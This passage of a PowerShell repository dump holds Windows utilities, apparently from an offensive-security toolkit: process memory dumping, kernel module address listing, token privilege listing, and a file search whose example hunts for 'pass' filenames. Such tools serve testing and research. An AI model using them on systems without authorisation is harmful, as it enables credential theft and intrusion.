.PARAMETER Filter 19 | Output filter string. 20 | 21 | .EXAMPLE 22 | # Show all files up to 5 depth 23 | C:\PS> Get-LimitChildItem -Path \\NetworkHost\Share -MaxDepth 5 24 | 25 | .EXAMPLE 26 | # Show only filenames containing "pass" 27 | C:\PS> Get-LimitChildItem -Path C:\Users\ -MaxDepth 10 -Filter "*pass*" 28 | #> 29 | param( 30 | [Parameter(Mandatory = $true)] 31 | $Path, 32 | [UInt32]$MaxDepth=3, 33 | [String]$Filter = "*" 34 | ) 35 | 36 | for ($i=1;$i-lt$($MaxDepth+1);$i++){ 37 | $SearchPath = $Path + ("\*"*$i) 38 | $ResultObject = Get-ChildItem -Path $SearchPath -ErrorAction SilentlyContinue 39 | $PathList = $ResultObject|Where {!$_.PSIsContainer} |ForEach-Object { if ($_.Name -like $Filter){$_.FullName}} 40 | $HashTable = @{ 41 | Depth = $i 42 | Count = $PathList.Length 43 | Path = $PathList 44 | } 45 | $Object = New-Object PSObject -Property $HashTable 46 | # Object has more properties, use as required. 47 | # Print per depth.. 48 | $Object.Path 49 | } 50 | } -------------------------------------------------------------------------------- /Get-ProcessMiniDump.ps1: -------------------------------------------------------------------------------- 1 | function Get-ProcessMiniDump { 2 | <# 3 | .SYNOPSIS 4 | Create process dump using Dbghelp::MiniDumpWriteDump. 5 | 6 | .DESCRIPTION 7 | Author: Ruben Boonen (@FuzzySec) 8 | License: BSD 3-Clause 9 | Required Dependencies: None 10 | Optional Dependencies: None 11 | 12 | .PARAMETER ProcID 13 | PID for the target process. 14 | 15 | .PARAMETER Path 16 | Dump outfile path. 17 | 18 | .EXAMPLE 19 | C:\PS> Get-ProcessMiniDump -ProcID 1234 -Path C:\Some\File\Path.out 20 | #> 21 | 22 | [cmdletbinding()] 23 | param( 24 | [Parameter(Mandatory = $True)] 25 | [Int]$ProcID, 26 | [Parameter(Mandatory = $True)] 27 | [String]$Path 28 | ) 29 | 30 | Add-Type -TypeDefinition @" 31 | using System; 32 | using System.Diagnostics; 33 | using System.Runtime.InteropServices; 34 | using System.Security.Principal; 35 | 36 | public class GetProcessMiniDump 37 | { 38 | [DllImport("Dbghelp.dll")] 39 | public static extern bool MiniDumpWriteDump( 40 | IntPtr hProcess, 41 | uint ProcessId, 42 | IntPtr hFile, 43 | int DumpType, 44 | IntPtr ExceptionParam, 45 | IntPtr UserStreamParam, 46 | IntPtr CallbackParam); 47 | } 48 | "@ 49 | 50 | # Check PID 51 | $IsValidProc = (Get-Process |Select -Expand Id) -Contains $ProcID 52 | if (!$IsValidProc) { 53 | Write-Verbose "[!] The specified PID does not exist!" 54 | $false 55 | Return 56 | } 57 | 58 | # Guesstimate if elevated privs are required 59 | $WhoAmI = [Environment]::UserName 60 | Write-Verbose "[?] Running as: $WhoAmI" 61 | $TargetPIDUser = (Get-WmiObject Win32_Process -Filter "ProcessId = $ProcID").GetOwner().User 62 | if ($WhoAmI -ne $TargetPIDUser) { 63 | Write-Verbose "[?] Administrator privileges required" 64 | $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator') 65 | if (!$IsAdmin) { 66 | Write-Verbose "[!] Administrator privileges not held!" 67 | $false 68 | Return 69 | } else { 70 | Write-Verbose "[>] Administrator privileges held" 71 | } 72 | } 73 | 74 | # Get handle for minidump outfile 75 | try { 76 | $FileStreamObject = [System.IO.File]::Create($Path) 77 | } catch { 78 | $ExceptionMsg = $_.Exception.Message 79 | Write-Verbose "[!] $ExceptionMsg" 80 | $false 81 | Return 82 | } 83 | 84 | # Full Process Dump 85 | #----- 86 | # MiniDumpIgnoreInaccessibleMemory = 0x00020000 87 | # MiniDumpWithDataSegs = 0x00000001 88 | # MiniDumpWithFullMemory = 0x00000002 89 | # MiniDumpWithFullMemoryInfo = 0x00000800 90 | # MiniDumpWithHandleData = 0x00000004 91 | # MiniDumpWithProcessThreadData = 0x00000100 92 | # MiniDumpWithThreadInfo = 0x00001000 93 | # MiniDumpWithTokenInformation = 0x00040000 94 | # => 0x00061907 95 | #----- 96 | $hProc = (Get-Process -Id $ProcID).Handle 97 | $IsDumped = [GetProcessMiniDump]::MiniDumpWriteDump($hProc,$ProcID,$FileStreamObject.Handle,0x00061907,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero) 98 | $FileStreamObject.Close() 99 | if (!$IsDumped) { 100 | Write-Verbose "[!] Process dump failed!" 101 | Remove-Item $FileStreamObject.Name 102 | $false 103 | } else { 104 | Write-Verbose "[>] Process dump success!" 105 | $true 106 | } 107 | } -------------------------------------------------------------------------------- /Get-SystemModuleInformation.ps1: -------------------------------------------------------------------------------- 1 | function Get-SystemModuleInformation { 2 | <# 3 | .SYNOPSIS 4 | Use NtQuerySystemInformation::SystemModuleInformation to get a list of 5 | loaded modules, their base address and size (x32/x64). 6 | 7 | .DESCRIPTION 8 | Author: Ruben Boonen (@FuzzySec) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .EXAMPLE 14 | C:\PS> Get-SystemModuleInformation 15 | #> 16 | 17 | Add-Type -TypeDefinition @" 18 | using System; 19 | using System.Diagnostics; 20 | using System.Runtime.InteropServices; 21 | using System.Security.Principal; 22 | 23 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 24 | public struct SYSTEM_MODULE_INFORMATION 25 | { 26 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 27 | public UIntPtr[] Reserved; 28 | public IntPtr ImageBase; 29 | public UInt32 ImageSize; 30 | public UInt32 Flags; 31 | public UInt16 LoadOrderIndex; 32 | public UInt16 InitOrderIndex; 33 | public UInt16 LoadCount; 34 | public UInt16 ModuleNameOffset; 35 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] 36 | internal Char[] _ImageName; 37 | public String ImageName { 38 | get { 39 | return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; 40 | } 41 | } 42 | } 43 | 44 | public static class Ntdll 45 | { 46 | [DllImport("ntdll.dll")] 47 | public static extern int NtQuerySystemInformation( 48 | int SystemInformationClass, 49 | IntPtr SystemInformation, 50 | int SystemInformationLength, 51 | ref int ReturnLength); 52 | } 53 | "@ 54 | 55 | echo "`n[+] Calling NtQuerySystemInformation::SystemModuleInformation" 56 | 57 | [int]$BuffPtr_Size = 0 58 | while ($true) { 59 | [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) 60 | $SystemInformationLength = New-Object Int 61 | 62 | # SystemModuleInformation Class = 11 63 | $CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) 64 | 65 | # STATUS_INFO_LENGTH_MISMATCH 66 | if ($CallResult -eq 0xC0000004) { 67 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 68 | [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) 69 | } 70 | # STATUS_SUCCESS 71 | elseif ($CallResult -eq 0x00000000) { 72 | echo "[?] Success, allocated $BuffPtr_Size byte result buffer" 73 | break 74 | } 75 | # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION 76 | else { 77 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 78 | echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n" 79 | return 80 | } 81 | } 82 | 83 | $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION 84 | $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() 85 | if ([System.IntPtr]::Size -eq 4) { 86 | $SYSTEM_MODULE_INFORMATION_Size = 284 87 | } else { 88 | $SYSTEM_MODULE_INFORMATION_Size = 296 89 | } 90 | 91 | $BuffOffset = $BuffPtr.ToInt64() 92 | $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) 93 | $BuffOffset = $BuffOffset + [System.IntPtr]::Size 94 | echo "[?] Result buffer contains $HandleCount SystemModuleInformation objects" 95 | 96 | $SystemModuleArray = @() 97 | for ($i=0; $i -lt $HandleCount; $i++){ 98 | $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset 99 | $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) 100 | 101 | $HashTable = @{ 102 | ImageName = $Cast.ImageName 103 | ImageBase = if ([System.IntPtr]::Size -eq 4) {"0x$('{0:X}' -f $($Cast.ImageBase).ToInt32())"} else {"0x$('{0:X}' -f $($Cast.ImageBase).ToInt64())"} 104 | ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" 105 | } 106 | 107 | $Object = New-Object PSObject -Property $HashTable 108 | $SystemModuleArray += $Object 109 | 110 | $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size 111 | } 112 | 113 | $SystemModuleArray|Select ImageBase,ImageSize,ImageName |ft -Autosize 114 | 115 | # Free SystemModuleInformation array 116 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 117 | } -------------------------------------------------------------------------------- /Get-SystemProcessInformation.ps1: -------------------------------------------------------------------------------- 1 | function Get-SystemProcessInformation { 2 | <# 3 | .SYNOPSIS 4 | Use NtQuerySystemInformation::SystemProcessInformation to get a detailed 5 | list of processes and process properties. On close inspection you will 6 | find that many process monitors such as Sysinternals Process Explorer or 7 | Process Hacker use this information class (in addition to 8 | SystemPerformanceInformation, SystemProcessorPerformanceInformation and 9 | SystemProcessorCycleTimeInformation). 10 | 11 | .DESCRIPTION 12 | Author: Ruben Boonen (@FuzzySec) 13 | License: BSD 3-Clause 14 | Required Dependencies: None 15 | Optional Dependencies: None 16 | 17 | .PARAMETER ProcID 18 | PID of the target process. 19 | 20 | .PARAMETER ProcName 21 | Wild card search for the process name 22 | 23 | .EXAMPLE 24 | # Return full process listing 25 | C:\PS> Get-SystemProcessInformation 26 | 27 | .EXAMPLE 28 | # Return only specific PID 29 | C:\PS> Get-SystemProcessInformation -ProcID 1336 30 | 31 | PID : 1336 32 | InheritedFromPID : 1020 33 | ImageName : svchost.exe 34 | Priority : 8 35 | CreateTime : 0d:9h:8m:47s 36 | UserCPU : 0d:0h:0m:0s 37 | KernelCPU : 0d:0h:0m:0s 38 | ThreadCount : 12 39 | HandleCount : 387 40 | PageFaults : 7655 41 | SessionId : 0 42 | PageDirectoryBase : 3821568 43 | PeakVirtualSize : 2097249.796875 MB 44 | VirtualSize : 2097240.796875 MB 45 | PeakWorkingSetSize : 11.65625 MB 46 | WorkingSetSize : 6.2109375 MB 47 | QuotaPeakPagedPoolUsage : 0.175910949707031 MB 48 | QuotaPagedPoolUsage : 0.167121887207031 MB 49 | QuotaPeakNonPagedPoolUsage : 0.0151519775390625 MB 50 | QuotaNonPagedPoolUsage : 0.0137710571289063 MB 51 | PagefileUsage : 3.64453125 MB 52 | PeakPagefileUsage : 4.14453125 MB 53 | PrivatePageCount : 3.64453125 MB 54 | ReadOperationCount : 0 55 | WriteOperationCount : 0 56 | OtherOperationCount : 223 57 | ReadTransferCount : 0 58 | WriteTransferCount : 0 59 | OtherTransferCount : 25010 60 | 61 | .EXAMPLE 62 | # Possibly returns multiple processes 63 | # eg: notepad.exe & notepad++.exe 64 | C:\PS> Get-SystemProcessInformation -ProcName note 65 | #> 66 | 67 | [CmdletBinding()] 68 | param ( 69 | [Parameter(Mandatory = $False)] 70 | [int]$ProcID, 71 | [Parameter(Mandatory = $False)] 72 | [string]$ProcName 73 | ) 74 | 75 | Add-Type -TypeDefinition @" 76 | using System; 77 | using System.Diagnostics; 78 | using System.Runtime.InteropServices; 79 | using System.Security.Principal; 80 | 81 | [StructLayout(LayoutKind.Sequential)] 82 | public struct UNICODE_STRING 83 | { 84 | public UInt16 Length; 85 | public UInt16 MaximumLength; 86 | public IntPtr Buffer; 87 | } 88 | 89 | [StructLayout(LayoutKind.Sequential)] 90 | public struct SystemProcessInformation 91 | { 92 | public int NextEntryOffset; 93 | public uint NumberOfThreads; 94 | public long SpareLi1; 95 | public long SpareLi2; 96 | public long SpareLi3; 97 | public long CreateTime; 98 | public long UserTime; 99 | public long KernelTime; 100 | public UNICODE_STRING ImageName; 101 | public int BasePriority; 102 | public IntPtr UniqueProcessId; 103 | public IntPtr InheritedFromUniqueProcessId; 104 | public uint HandleCount; 105 | public uint SessionId; 106 | public IntPtr PageDirectoryBase; 107 | public IntPtr PeakVirtualSize; 108 | public IntPtr VirtualSize; 109 | public uint PageFaultCount; 110 | public IntPtr PeakWorkingSetSize; 111 | public IntPtr WorkingSetSize; 112 | public IntPtr QuotaPeakPagedPoolUsage; 113 | public IntPtr QuotaPagedPoolUsage; 114 | public IntPtr QuotaPeakNonPagedPoolUsage; 115 | public IntPtr QuotaNonPagedPoolUsage; 116 | public IntPtr PagefileUsage; 117 | public IntPtr PeakPagefileUsage; 118 | public IntPtr PrivatePageCount; 119 | public long ReadOperationCount; 120 | public long WriteOperationCount; 121 | public long OtherOperationCount; 122 | public long ReadTransferCount; 123 | public long WriteTransferCount; 124 | public long OtherTransferCount; 125 | } 126 | 127 | public static class SystemProcInfo 128 | { 129 | [DllImport("ntdll.dll")] 130 | public static extern int NtQuerySystemInformation( 131 | int SystemInformationClass, 132 | IntPtr SystemInformation, 133 | int SystemInformationLength, 134 | ref int ReturnLength); 135 | } 136 | "@ 137 | 138 | [int]$BuffPtr_Size = 0 139 | while ($true) { 140 | [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) 141 | $SystemInformationLength = New-Object Int 142 | 143 | # SystemProcessInformation Class = 5 144 | $CallResult = [SystemProcInfo]::NtQuerySystemInformation(5, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) 145 | 146 | # STATUS_INFO_LENGTH_MISMATCH 147 | if ($CallResult -eq 0xC0000004) { 148 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 149 | [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) 150 | } 151 | # STATUS_SUCCESS 152 | elseif ($CallResult -eq 0x00000000) { 153 | break 154 | } 155 | # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION 156 | else { 157 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 158 | return 159 | } 160 | } 161 | 162 | # Create in-memory struct 163 | $SystemProcessInformation = New-Object SystemProcessInformation 164 | $SystemProcessInformation = $SystemProcessInformation.GetType() 165 | $BuffOffset = $BuffPtr.ToInt64() 166 | 167 | $SystemModuleArray = @() 168 | while ($true) { 169 | $SystemPointer = New-Object System.Intptr -ArgumentList $($BuffOffset) 170 | $Struct = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SystemProcessInformation) 171 | 172 | $HashTable = @{ 173 | PID = $Struct.UniqueProcessId 174 | InheritedFromPID = $Struct.InheritedFromUniqueProcessId 175 | ImageName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Struct.ImageName.Buffer) 176 | Priority = $Struct.BasePriority 177 | CreateTime = "$(([datetime]::FromBinary($Struct.CreateTime)).TimeOfDay.Days)d:$(([datetime]::FromBinary($Struct.CreateTime)).TimeOfDay.Hours)h:$(([datetime]::FromBinary($Struct.CreateTime)).TimeOfDay.Minutes)m:$(([datetime]::FromBinary($Struct.CreateTime)).TimeOfDay.Seconds)s" 178 | UserCPU = "$(([datetime]::FromBinary($Struct.UserTime)).TimeOfDay.Days)d:$(([datetime]::FromBinary($Struct.UserTime)).TimeOfDay.Hours)h:$(([datetime]::FromBinary($Struct.UserTime)).TimeOfDay.Minutes)m:$(([datetime]::FromBinary($Struct.UserTime)).TimeOfDay.Seconds)s" 179 | KernelCPU = "$(([datetime]::FromBinary($Struct.KernelTime)).TimeOfDay.Days)d:$(([datetime]::FromBinary($Struct.KernelTime)).TimeOfDay.Hours)h:$(([datetime]::FromBinary($Struct.KernelTime)).TimeOfDay.Minutes)m:$(([datetime]::FromBinary($Struct.KernelTime)).TimeOfDay.Seconds)s" 180 | ThreadCount = $Struct.NumberOfThreads 181 | HandleCount = $Struct.HandleCount 182 | PageFaults = $Struct.PageFaultCount 183 | SessionId = $Struct.SessionId 184 | PageDirectoryBase = $Struct.PageDirectoryBase 185 | PeakVirtualSize = "$($Struct.PeakVirtualSize.ToInt64()/[math]::pow(1024,2)) MB" 186 | VirtualSize = "$($Struct.VirtualSize.ToInt64()/[math]::pow(1024,2)) MB" 187 | PeakWorkingSetSize = "$($Struct.PeakWorkingSetSize.ToInt64()/[math]::pow(1024,2)) MB" 188 | WorkingSetSize = "$($Struct.WorkingSetSize.ToInt64()/[math]::pow(1024,2)) MB" 189 | QuotaPeakPagedPoolUsage = "$($Struct.QuotaPeakPagedPoolUsage.ToInt64()/[math]::pow(1024,2)) MB" 190 | QuotaPagedPoolUsage = "$($Struct.QuotaPagedPoolUsage.ToInt64()/[math]::pow(1024,2)) MB" 191 | QuotaPeakNonPagedPoolUsage = "$($Struct.QuotaPeakNonPagedPoolUsage.ToInt64()/[math]::pow(1024,2)) MB" 192 | QuotaNonPagedPoolUsage = "$($Struct.QuotaNonPagedPoolUsage.ToInt64()/[math]::pow(1024,2)) MB" 193 | PagefileUsage = "$($Struct.PagefileUsage.ToInt64()/[math]::pow(1024,2)) MB" 194 | PeakPagefileUsage = "$($Struct.PeakPagefileUsage.ToInt64()/[math]::pow(1024,2)) MB" 195 | PrivatePageCount = "$($Struct.PrivatePageCount.ToInt64()/[math]::pow(1024,2)) MB" 196 | ReadOperationCount = $Struct.ReadOperationCount 197 | WriteOperationCount = $Struct.WriteOperationCount 198 | OtherOperationCount = $Struct.OtherOperationCount 199 | ReadTransferCount = $Struct.ReadTransferCount 200 | WriteTransferCount = $Struct.WriteTransferCount 201 | OtherTransferCount = $Struct.OtherTransferCount 202 | } 203 | $Object = New-Object PSObject -Property $HashTable 204 | $SystemModuleArray += $Object 205 | 206 | # Check if we reached the end of the list 207 | if ($([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)) -eq 0) { 208 | Break 209 | } else { 210 | $BuffOffset = $BuffOffset + $Struct.NextEntryOffset 211 | } 212 | } 213 | 214 | # Free allocated SystemModuleInformation array 215 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 216 | 217 | # We want this object in a specific order 218 | $ResultObject = $SystemModuleArray |Select PID,InheritedFromPID,ImageName,Priority,CreateTime,UserCPU,KernelCPU,ThreadCount,HandleCount,PageFaults,SessionId,PageDirectoryBase,PeakVirtualSize,VirtualSize,PeakWorkingSetSize,WorkingSetSize,QuotaPeakPagedPoolUsage,QuotaPagedPoolUsage,QuotaPeakNonPagedPoolUsage,QuotaNonPagedPoolUsage,PagefileUsage,PeakPagefileUsage,PrivatePageCount,ReadOperationCount,WriteOperationCount,OtherOperationCount,ReadTransferCount,WriteTransferCount,OtherTransferCount 219 | 220 | # Display output 221 | if (!$ProcID -And !$ProcName) { 222 | $ResultObject # Just print 223 | Return 224 | } 225 | if ($ProcID) { 226 | $ResultObject | Where-Object {($_.PID -eq $ProcID)} 227 | Return # In case of $ProcID -And $ProcName => PID takes preference 228 | } 229 | if ($ProcName) { 230 | $ResultObject | Where-Object {($_.ImageName -like "*$ProcName*")} 231 | Return # In case of $ProcID -And $ProcName => PID takes preference 232 | } 233 | } -------------------------------------------------------------------------------- /Get-TokenPrivs.ps1: -------------------------------------------------------------------------------- 1 | function Get-TokenPrivs { 2 | <# 3 | .SYNOPSIS 4 | Open a handle to a process and use Advapi32::GetTokenInformation 5 | to list the privileges associated with the process token. 6 | 7 | Notes: 8 | 9 | * You can only get token privileges for a process you own or 10 | belonging to a lower privilege user account. In general, regular 11 | users can only access their own tokens while Administrators can 12 | access all process tokens including those belonging to 13 | "NT AUTHORITY\SYSTEM". 14 | 15 | * There are some quirks here, certain processes allow you to open 16 | a handle to the process but not to the process token. Most notably, 17 | almost all "NT AUTHORITY\* SERVICE" are like this. Additionally, 18 | GetLastError sometimes erroneously reports the error as 203 (0xCB) 19 | ERROR_ENVVAR_NOT_FOUND instead of 5 (0x5) ERROR_ACCESS_DENIED. To 20 | get the token privileges for these processes the function must be 21 | run as SYSTEM. 22 | 23 | * Some processes are protected, like PID 4 (System), and prevent 24 | access even when running as SYSTEM. 25 | 26 | .DESCRIPTION 27 | Author: Ruben Boonen (@FuzzySec) 28 | License: BSD 3-Clause 29 | Required Dependencies: None 30 | Optional Dependencies: None 31 | 32 | .EXAMPLE 33 | C:\PS> Get-TokenPrivs -ProcID 1234 34 | 35 | #> 36 | 37 | [CmdletBinding()] 38 | param ( 39 | [Parameter(Mandatory = $True)] 40 | [int]$ProcID 41 | ) 42 | 43 | Add-Type -TypeDefinition @" 44 | using System; 45 | using System.Diagnostics; 46 | using System.Runtime.InteropServices; 47 | using System.Security.Principal; 48 | 49 | [StructLayout(LayoutKind.Sequential)] 50 | public struct LUID 51 | { 52 | public uint LowPart; 53 | public int HighPart; 54 | } 55 | 56 | [StructLayout(LayoutKind.Sequential)] 57 | public struct LUID_AND_ATTRIBUTES 58 | { 59 | public LUID Luid; 60 | public UInt32 Attributes; 61 | } 62 | 63 | public struct TOKEN_PRIVILEGES 64 | { 65 | public UInt32 PrivilegeCount; 66 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] 67 | public LUID_AND_ATTRIBUTES[] Privileges; 68 | } 69 | 70 | public static class Advapi32 71 | { 72 | [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] 73 | public static extern bool OpenProcessToken( 74 | IntPtr ProcessHandle, 75 | uint DesiredAccess, 76 | out IntPtr TokenHandle); 77 | 78 | [DllImport("advapi32.dll", SetLastError = true)] 79 | public static extern bool GetTokenInformation( 80 | IntPtr TokenHandle, 81 | uint TokenInformationClass, 82 | IntPtr TokenInformation, 83 | int TokenInformationLength, 84 | ref int ReturnLength); 85 | 86 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] 87 | [return: MarshalAs(UnmanagedType.Bool)] 88 | public static extern bool LookupPrivilegeName( 89 | string lpSystemName, 90 | IntPtr lpLuid, 91 | System.Text.StringBuilder lpName, 92 | ref int cchName); 93 | } 94 | 95 | public static class Kernel32 96 | { 97 | 98 | [DllImport("kernel32.dll")] 99 | public static extern IntPtr OpenProcess( 100 | int dwDesiredAccess, 101 | bool bInheritHandle, 102 | int dwProcessId); 103 | 104 | [DllImport("kernel32.dll")] 105 | public static extern uint GetLastError(); 106 | } 107 | "@ 108 | 109 | # Check if the user is running as Admin 110 | $IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator') 111 | 112 | # Make sure the PID exists 113 | if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) { 114 | echo "`n[!] The specified PID doesn't exist, exiting..`n" 115 | Return 116 | } else { 117 | echo "`n[?] PID $ProcID --> $((Get-Process -Id $ProcID).ProcessName)" 118 | } 119 | 120 | # Get handle to the process 121 | $ProcHandle = [Kernel32]::OpenProcess(0x0410, $false, $ProcID) 122 | if ($ProcHandle -eq 0) { 123 | if ($IsAdmin) { 124 | echo "[!] Unable to open process (as Administrator), this may require SYSTEM access.`n" 125 | } else { 126 | echo "[!] Unable to open process, this may require Administrator/SYSTEM access.`n" 127 | } return 128 | } echo "[+] Process handle: $ProcHandle" 129 | 130 | # Get handle to the process token 131 | $hTokenHandle = 0 132 | $CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x00020008, [ref]$hTokenHandle) 133 | if ($CallResult -eq 0) { 134 | echo "[!] Unable to open process token, this may require SYSTEM access.`n" 135 | return 136 | } echo "[+] Token handle: $hTokenHandle" 137 | 138 | # Call GetTokenInformation with TokenInformationClass = 3 (TokenPrivileges) 139 | [int]$Length = 0 140 | $CallResult = [Advapi32]::GetTokenInformation($hTokenHandle, 3, [IntPtr]::Zero, $Length, [ref]$Length) 141 | 142 | # After we get the buffer length alloc and call again 143 | [IntPtr]$TokenInformation = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Length) 144 | $CallResult = [Advapi32]::GetTokenInformation($hTokenHandle, 3, $TokenInformation, $Length, [ref]$Length) 145 | 146 | # Read dword at $TokenInformation to get privilege count 147 | $BuffOffset = $TokenInformation.ToInt64() 148 | $PrivCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) 149 | $BuffOffset = $BuffOffset + 4 # Offset privilege count 150 | "[+] Token has $PrivCount privileges:" 151 | 152 | # Create LUID and attributes object 153 | $LUID_AND_ATTRIBUTES = New-Object LUID_AND_ATTRIBUTES 154 | $LUID_AND_ATTRIBUTES_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($LUID_AND_ATTRIBUTES) 155 | $LUID_AND_ATTRIBUTES = $LUID_AND_ATTRIBUTES.GetType() 156 | 157 | # Loop $BuffOffset ==> PtrToStructure $LUID_AND_ATTRIBUTES -> StructureToPtr $LUID_AND_ATTRIBUTES.Luid 158 | $LuidPrivilegeArray = @() 159 | for ($i=0; $i -lt $PrivCount; $i++) { 160 | 161 | # Cast IntPtr to LUID_AND_ATTRIBUTES 162 | $PrivPointer = New-Object System.Intptr -ArgumentList $BuffOffset 163 | $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($PrivPointer,[type]$LUID_AND_ATTRIBUTES) 164 | 165 | # Cast LUID sub-struct back to IntPtr 166 | $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Cast.Luid) 167 | [IntPtr]$lpLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) 168 | [system.runtime.interopservices.marshal]::StructureToPtr($Cast.Luid, $lpLuid, $true) 169 | 170 | # Call to get lpName length, create System.Text.StringBuilder object & call again 171 | [int]$Length = 0 172 | $CallResult = [Advapi32]::LookupPrivilegeName($null, $lpLuid, $null, [ref]$Length) 173 | $lpName = New-Object -TypeName System.Text.StringBuilder 174 | $lpName.EnsureCapacity($Length+1) |Out-Null 175 | $CallResult = [Advapi32]::LookupPrivilegeName($null, $lpLuid, $lpName, [ref]$Length) 176 | 177 | # Create result object 178 | $HashTable = @{ 179 | LUID = $Cast.Luid.LowPart 180 | Privilege = $lpName 181 | } 182 | $Object = New-Object PSObject -Property $HashTable 183 | $LuidPrivilegeArray += $Object 184 | 185 | # Free $LuidSize & increment $BuffOffset 186 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpLuid) 187 | $BuffOffset = $BuffOffset + $LUID_AND_ATTRIBUTES_Size 188 | 189 | } 190 | 191 | # Print and AutoSize 192 | $LuidPrivilegeArray |Format-Table -AutoSize 193 | 194 | # Free $TokenInformation 195 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenInformation) 196 | 197 | } -------------------------------------------------------------------------------- /Invoke-CreateProcess.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-CreateProcess { 2 | <# 3 | .SYNOPSIS 4 | 5 | -Binary Full path of the module to be executed. 6 | 7 | -Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults 8 | to $null if not specified. 9 | 10 | -CreationFlags Process creation flags: 11 | 0x00000000 (NONE) 12 | 0x00000001 (DEBUG_PROCESS) 13 | 0x00000002 (DEBUG_ONLY_THIS_PROCESS) 14 | 0x00000004 (CREATE_SUSPENDED) 15 | 0x00000008 (DETACHED_PROCESS) 16 | 0x00000010 (CREATE_NEW_CONSOLE) 17 | 0x00000200 (CREATE_NEW_PROCESS_GROUP) 18 | 0x00000400 (CREATE_UNICODE_ENVIRONMENT) 19 | 0x00000800 (CREATE_SEPARATE_WOW_VDM) 20 | 0x00001000 (CREATE_SHARED_WOW_VDM) 21 | 0x00040000 (CREATE_PROTECTED_PROCESS) 22 | 0x00080000 (EXTENDED_STARTUPINFO_PRESENT) 23 | 0x01000000 (CREATE_BREAKAWAY_FROM_JOB) 24 | 0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL) 25 | 0x04000000 (CREATE_DEFAULT_ERROR_MODE) 26 | 0x08000000 (CREATE_NO_WINDOW) 27 | 28 | -ShowWindow Window display flags: 29 | 0x0000 (SW_HIDE) 30 | 0x0001 (SW_SHOWNORMAL) 31 | 0x0001 (SW_NORMAL) 32 | 0x0002 (SW_SHOWMINIMIZED) 33 | 0x0003 (SW_SHOWMAXIMIZED) 34 | 0x0003 (SW_MAXIMIZE) 35 | 0x0004 (SW_SHOWNOACTIVATE) 36 | 0x0005 (SW_SHOW) 37 | 0x0006 (SW_MINIMIZE) 38 | 0x0007 (SW_SHOWMINNOACTIVE) 39 | 0x0008 (SW_SHOWNA) 40 | 0x0009 (SW_RESTORE) 41 | 0x000A (SW_SHOWDEFAULT) 42 | 0x000B (SW_FORCEMINIMIZE) 43 | 0x000B (SW_MAX) 44 | 45 | -StartF Bitfield to influence window creation: 46 | 0x00000001 (STARTF_USESHOWWINDOW) 47 | 0x00000002 (STARTF_USESIZE) 48 | 0x00000004 (STARTF_USEPOSITION) 49 | 0x00000008 (STARTF_USECOUNTCHARS) 50 | 0x00000010 (STARTF_USEFILLATTRIBUTE) 51 | 0x00000020 (STARTF_RUNFULLSCREEN) 52 | 0x00000040 (STARTF_FORCEONFEEDBACK) 53 | 0x00000080 (STARTF_FORCEOFFFEEDBACK) 54 | 0x00000100 (STARTF_USESTDHANDLES) 55 | 56 | .DESCRIPTION 57 | 58 | Author: Ruben Boonen (@FuzzySec) 59 | License: BSD 3-Clause 60 | Required Dependencies: None 61 | Optional Dependencies: None 62 | 63 | .EXAMPLE 64 | 